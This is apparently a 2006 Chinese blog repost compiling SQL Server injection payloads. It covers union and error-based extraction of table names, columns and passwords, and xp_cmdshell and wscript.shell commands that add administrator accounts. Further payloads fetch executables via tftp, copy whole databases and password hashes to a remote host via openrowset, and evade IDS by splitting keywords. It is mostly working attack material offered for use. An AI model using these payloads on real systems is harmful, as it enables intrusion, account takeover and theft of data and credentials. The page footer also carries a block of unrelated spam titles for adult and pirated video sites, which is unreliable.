<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    love fish大鵬一曰同風起,扶搖直上九萬里

    常用鏈接

    統計

    積分與排名

    friends

    link

    最新評論

    Sql注射總結(轉)

    sql注射總結(早源于or1=1)
    最重要的表名:
    select * from sysobjects
    sysobjects ncsysobjects
    sysindexes tsysindexes
    syscolumns
    systypes
    sysusers
    sysdatabases
    sysxlogins
    sysprocesses
    最重要的一些用戶名(默認sql數據庫中存在著的)
    public
    dbo
    guest(一般禁止,或者沒權限)
    db_sercurityadmin
    ab_dlladmin
    一些默認擴展
    xp_regaddmultistring
    xp_regdeletekey
    xp_regdeletevalue
    xp_regenumkeys
    xp_regenumvalues
    xp_regread
    xp_regremovemultistring
    xp_regwrite
    xp_availablemedia 驅動器相關
    xp_dirtree 目錄
    xp_enumdsn odbc連接
    xp_loginconfig 服務器安全模式信息
    xp_makecab 創建壓縮卷
    xp_ntsec_enumdomains domain信息
    xp_terminate_process 終端進程,給出一個pid
    例如:
    sp_addextendedproc xp_webserver, c:tempxp_foo.dll
    exec xp_webserver
    sp_dropextendedproc xp_webserver
    bcp select * from test..foo queryout c:inetpubwwwrootruncommand.asp -c -slocalhost -usa -pfoobar
    group by users.id having 1=1-
    group by users.id, users.username, users.password, users.privs having 1=1-
    ; insert into users values( 666, attacker, foobar, 0xffff )-
    union select top 1 column_name from information_schema.columns where table_name=logintable-
    union select top 1 column_name from information_schema.columns where table_name=logintable where column_name not in (login_id)-
    union select top 1 column_name from information_schema.columns where table_name=logintable where column_name not in (login_id,login_name)-
    union select top 1 login_name from logintable-
    union select top 1 password from logintable where login_name=rahul--
    構造語句:查詢是否存在xp_cmdshell
    union select @@version,1,1,1--
    and 1=(select @@version)
    and sa=(select system_user)
    union select ret,1,1,1 from foo--
    union select min(username),1,1,1 from users where username > a-
    union select min(username),1,1,1 from users where username > admin-
    union select password,1,1,1 from users where username = admin--
    and user_name()=dbo
    and 0<>(select user_name()-
    ; declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null, c:winntsystem32cmd.exe /c net user swap 5245886 /add
    and 1=(select count(*) from master.dbo.sysobjects where xtype = x and name = xp_cmdshell)
    ;exec master.dbo.sp_addextendedproc xp_cmdshell, xplog70.dll
    1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype=x%20and%20name=xp_cmdshell)
    and 1=(select is_srvrolemember(sysadmin)) 判斷sa權限是否
    and 0<>(select top 1 paths from newtable)-- 暴庫大法
    and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到庫名(從1到5都是系統的id,6以上才可以判斷)
    創建一個虛擬目錄e盤:
    declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, null, cscript.exe c:inetpubwwwrootmkwebdir.vbs -w 默認 web 站點 -v e,e:
    訪問屬性:(配合寫入一個webshell)
    declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, null, cscript.exe c:inetpubwwwrootchaccess.vbs -a w3svc/1/root/e browse
    and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
    依次提交 dbid = 7,8,9.... 得到更多的數據庫名
    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=u) 暴到一個表 假設為 admin
    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=u and name not in (admin)) 來得到其他的表。
    and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=u and name=admin
    and uid>(str(id))) 暴到uid的數值假設為18779569 uid=id
    and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個admin的一個字段,假設為 user_id
    and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
    (id,...)) 來暴出其他的字段
    and 0<(select user_id from bbs.dbo.admin where username>1) 可以得到用戶名
    依次可以得到密碼。。。。。假設存在user_id username ,password 等字段
    show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
    show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
    (union語句到處風靡啊,access也好用
    暴庫特殊技巧::%5c= 或者把/和 修改%5提交
    and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=u) 得到表名
    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=u and name not in(address))
    and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=u and name=admin and uid>(str(id))) 判斷id值
    and 0<>(select top 1 name from bbs.dbo.syscolumns where id=773577794) 所有字段
    ;create table [dbo].[swap] ([swappass][char](255));--
    and (select top 1 swappass from swap)=1
    ;create table newtable(id int identity(1,1),paths varchar(500)) declare @test varchar(20) exec master..xp_regread @rootkey=hkey_local_machine, @key=systemcurrentcontrolsetservicesw3svcparametersvirtual roots, @value_name=/, values=@test output insert into paths(path) values(@test)
    政策法規&infoid={57c4165a-4206-4c0d-a8d2-e70666ee4e08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20wscript.shell,@s%20out;exec%20sp_oamethod%20@s,run,null,cmd.exe%20/c%20ping%201.1.1.1;--
    得到了web路徑d:xxxx,接下來:
    ;use ku1;--
    ;create table cmd (str image);--
    傳統的存在xp_cmdshell的測試過程:
    ;exec master..xp_cmdshell dir
    ;exec master.dbo.sp_addlogin hax;--
    ;exec master.dbo.sp_password null,hax,hax;--
    ;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
    ;exec master.dbo.xp_cmdshell net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
    ;exec master.dbo.xp_cmdshell net localgroup administrators hax /add;--
    exec master..xp_servicecontrol start, schedule
    exec master..xp_servicecontrol start, server
    http://www.xxx.com/list.asp?classid=1; declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null, c:winntsystem32cmd.exe /c net user swap 5258 /add
    ;declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null, c:winntsystem32cmd.exe /c net localgroup administrators swap/add
    ; exec master..xp_cmdshell tftp -i youip get file.exe-
    declare @a sysname set @a=xp_ cmdshell exec @a dir c:
    declare @a sysname set @a=xp _cm dshell exec @a dir c:
    ;declare @a;set @a=db_name();backup database @a to disk=你的ip你的共享目錄bak.dat
    如果被限制則可以。
    select * from openrowset(sqloledb,server;sa;,select ok! exec master.dbo.sp_addlogin hax)
    傳統查詢構造:
    select * from news where id=... and topic=... and .....
    adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
    select 123;--
    ;use master;--
    :a or name like fff%;-- 顯示有一個叫ffff的用戶哈。
    and 1<>(select count(email) from [user]);--
    ;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
    說明:
    上面的語句是得到數據庫中的第一個用戶表,并把表名放在ffff用戶的郵箱字段中。
    通過查看ffff的用戶資料可得第一個用表叫ad
    然后根據表名ad得到這個表的id
    ffff;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
    象下面這樣就可以得到第二個表的名字了
    ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
    ffff;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
    ffff;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
    ffff;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
    exec master..xp_servicecontrol start, schedule
    exec master..xp_servicecontrol start, server
    sp_addextendedproc xp_webserver, c:tempxp_foo.dll
    擴展存儲就可以通過一般的方法調用:
    exec xp_webserver
    一旦這個擴展存儲執行過,可以這樣刪除它:
    sp_dropextendedproc xp_webserver
    insert into users values( 666, char(0x63) char(0x68) char(0x72) char(0x69) char(0x73), char(0x63) char(0x68) char(0x72) char(0x69) char(0x73), 0xffff)-
    insert into users values( 667,123,123,0xffff)-
    insert into users values ( 123, admin--, password, 0xffff)-
    ;and user>0
    ;;and (select count(*) from sysobjects)>0
    ;;and (select count(*) from mysysobjects)>0 //為access數據庫
    -----------------------------------------------------------通常注射的一些介紹:
    a) id=49 這類注入的參數是數字型,sql語句原貌大致如下:
    select * from 表名 where 字段=49
    注入的參數為id=49 and [查詢條件],即是生成語句:
    select * from 表名 where 字段=49 and [查詢條件]
    (b) class=連續劇 這類注入的參數是字符型,sql語句原貌大致概如下:
    select * from 表名 where 字段=連續劇
    注入的參數為class=連續劇 and [查詢條件] and = ,即是生成語句:
    select * from 表名 where 字段=連續劇 and [查詢條件] and =
    (c) 搜索時沒過濾參數的,如keyword=關鍵字,sql語句原貌大致如下:
    select * from 表名 where 字段like %關鍵字%
    注入的參數為keyword= and [查詢條件] and %25=, 即是生成語句:
    select * from 表名 where字段like % and [查詢條件] and %=%
    ;;and (select top 1 name from sysobjects where xtype=u and status>0)>0
    sysobjects是sqlserver的系統表,存儲著所有的表名、視圖、約束及其它對象,xtype=u and status>0,表示用戶建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來。
    ;;and (select top 1 col_name(object_id(表名),1) from sysobjects)>0
    從⑤拿到表名后,用object_id(表名)獲取表名對應的內部id,col_name(表名id,1)代表該表的第1個字段名,將1換成2,3,4...就可以逐個獲取所猜解表里面的字段名。
    post.htm內容:主要是方便輸入。
    〈iframe name=p src=# width=800 height=350 frameborder=0>

    〈input name=id value=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);-- style=width:750>
    〈input type=submit value=>>>>
    〈input type=hidden name=fno value=2, 3>

    枚舉出他的數據表名:
    id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
    這是將第一個表名更新到aaa的字段處。
    讀出第一個表,第二個表可以這樣讀出來(在條件后加上 and name<>剛才得到的表名)。
    id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
    然后id=1552 and exists(select * from aaa where aaa>5)
    讀出第二個表,^^^^^^一個個的讀出,直到沒有為止。
    讀字段是這樣:
    id=1552;update aaa set aaa=(select top 1 col_name(object_id(表名),1));--
    然后id=1552 and exists(select * from aaa where aaa>5)出錯,得到字段名
    id=1552;update aaa set aaa=(select top 1 col_name(object_id(表名),2));--
    然后id=1552 and exists(select * from aaa where aaa>5)出錯,得到字段名
    --------------------------------高級技巧:
    [獲得數據表名][將字段值更新為表名,再想法讀出這個字段的值就可得到表名]
    update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一個加一個]) [ where 條件]
    select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,...)
    通過sqlserver注入漏洞建數據庫管理員帳號和系統管理員帳號[當前帳號必須是sysadmin組]
    [獲得數據表字段名][將字段值更新為字段名,再想法讀出這個字段的值就可得到字段名]
    update 表名 set 字段=(select top 1 col_name(object_id(要查詢的數據表名),字段列如:1) [ where 條件]
    繞過ids的檢測[使用變量]
    declare @a sysname set @a=xp_ cmdshell exec @a dir c:
    declare @a sysname set @a=xp _cm dshell exec @a dir c:
    1、 開啟遠程數據庫
    基本語法
    select * from openrowset(sqloledb, server=servername;uid=sa;pwd=apachy_123, select * from table1 )
    參數: (1) oledb provider name
    2、 其中連接字符串參數可以是任何和端口用來連接,比如
    select * from openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table
    要復制目標主機的整個數據庫,首先要在目標主機上和自己機器上的數據庫建立連接(如何在目標主機上建立遠程連接,剛才已經講了),之后insert所有遠程表到本地表。
    基本語法:
    insert into openrowset(sqloledb, server=servername;uid=sa;pwd=apachy_123, select * from table1) select * from table2
    這行語句將目標主機上table2表中的所有數據復制到遠程數據庫中的table1表中。實際運用中適當修改連接字符串的ip地址和端口,指向需要的地方,比如:
    insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table1) select * from table2
    insert into openrowset(sqloledb, uid=sa;pwd=hack3r;network=dbmssocn;address=202.100.100.1,1433;, select * from _sysdatabases)
    select * from master.dbo.sysdatabases
    insert into openrowset(sqloledb, uid=sa;pwd=hack3r;network=dbmssocn;address=202.100.100.1,1433;, select * from _sysobjects)
    select * from user_database.dbo.sysobjects
    insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from _syscolumns)
    select * from user_database.dbo.syscolumns
    之后,便可以從本地數據庫中看到目標主機的庫結構,這已經易如反掌,不多講,復制數據庫:
    insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table1) select * from database..table1
    insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table2) select * from database..table2
    ......
    3、 復4、 制哈西表(hash)
    這實際上是上述復5、 制數據庫的一個擴展應用。登錄密碼的hash存儲于sysxlogins中。方法如下:
    insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from _sysxlogins) select * from database.dbo.sysxlogins
    得到hash之后,6、 就可以進行暴力破解。這需要一點運氣和大量時間。
    遍歷目錄的方法:
    先創建一個臨時表:temp
    5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
    5;insert temp exec master.dbo.xp_availablemedia;-- 獲得當前所有驅動器
    5;insert into temp(id) exec master.dbo.xp_subdirs c:;-- 獲得子目錄列表
    5;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- 獲得所有子目錄的目錄樹結構,并寸入temp表中
    5;insert into temp(id) exec master.dbo.xp_cmdshell type c:webindex.asp;-- 查看某個文件的內容
    5;insert into temp(id) exec master.dbo.xp_cmdshell dir c:;--
    5;insert into temp(id) exec master.dbo.xp_cmdshell dir c: *.asp /s/a;--
    5;insert into temp(id) exec master.dbo.xp_cmdshell cscript c:inetpubadminscriptsadsutil.vbs enum w3svc
    5;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- (xp_dirtree適用權限public)
    寫入表:
    語句1: and 1=(select is_srvrolemember(sysadmin));--
    語句2: and 1=(select is_srvrolemember(serveradmin));--
    語句3: and 1=(select is_srvrolemember(setupadmin));--
    語句4: and 1=(select is_srvrolemember(securityadmin));--
    語句5: and 1=(select is_srvrolemember(securityadmin));--
    語句6: and 1=(select is_srvrolemember(diskadmin));--
    語句7: and 1=(select is_srvrolemember(bulkadmin));--
    語句8: and 1=(select is_srvrolemember(bulkadmin));--
    語句9: and 1=(select is_member(db_owner));--
    把路徑寫到表中去:
    ;create table dirs(paths varchar(100), id int)-
    ;insert  dirs exec master.dbo.xp_dirtree c:-
     and 0<>(select top 1 paths from dirs)-
     and 0<>(select top 1 paths from dirs where paths not in(@inetpub))-
    語句:;create table dirs1(paths varchar(100), id int)--
    語句:;insert dirs exec master.dbo.xp_dirtree e:web--
    語句: and 0<>(select top 1 paths from dirs1)-
    把數據庫備份到網頁目錄:下載
    ;declare @a sysname; set @a=db_name();backup database @a to disk=e:webdown.bak;--
    and%201=(select%20top%201%20name%20from(select%20top%2012%20id,name%20from%20sysobjects%20where%20xtype=char(85))%20t%20order%20by%20id%20desc)
    and%201=(select%20top%201%20col_name(object_id(user_login),1)%20from%20sysobjects) 參看相關表。
    and 1=(select%20user_id%20from%20user_login)
    and%200=(select%20user%20from%20user_login%20where%20user>1)

    posted on 2006-09-30 09:06 liaojiyong 閱讀(355) 評論(0)  編輯  收藏 所屬分類: MSSQL

    主站蜘蛛池模板: 国产特黄特色的大片观看免费视频| 亚洲一级在线观看| 黄色免费在线观看网址| 日本免费人成黄页在线观看视频| 亚洲综合成人婷婷五月网址| 国产在线a免费观看| 国产精品高清视亚洲精品| 无人在线直播免费观看| 在线a亚洲老鸭窝天堂av高清| 免费不卡视频一卡二卡| 亚洲国产精品网站在线播放| 日本一区免费电影| 成人免费观看男女羞羞视频| 国产国拍亚洲精品福利 | 久久精品视频亚洲| 日韩精品久久久久久免费| 亚洲首页在线观看| 香蕉视频在线观看免费国产婷婷| 色婷婷六月亚洲综合香蕉| 亚洲国产电影av在线网址| 成人性生交大片免费看中文| 亚洲狠狠久久综合一区77777| 国内精品免费麻豆网站91麻豆| 亚洲日韩乱码中文字幕| avtt亚洲天堂| 95免费观看体验区视频| 亚洲AV无码专区在线电影成人| 国产av无码专区亚洲av果冻传媒| 日本在线免费观看| 亚洲高清乱码午夜电影网| 亚洲中文久久精品无码| 国产高清不卡免费在线| 国产亚洲精品美女| 久久亚洲一区二区| 日韩一区二区在线免费观看 | 亚洲欧美aⅴ在线资源| 中文字幕亚洲电影| 色影音免费色资源| 一个人免费观看日本www视频| 亚洲成在人天堂一区二区| 欧洲精品免费一区二区三区|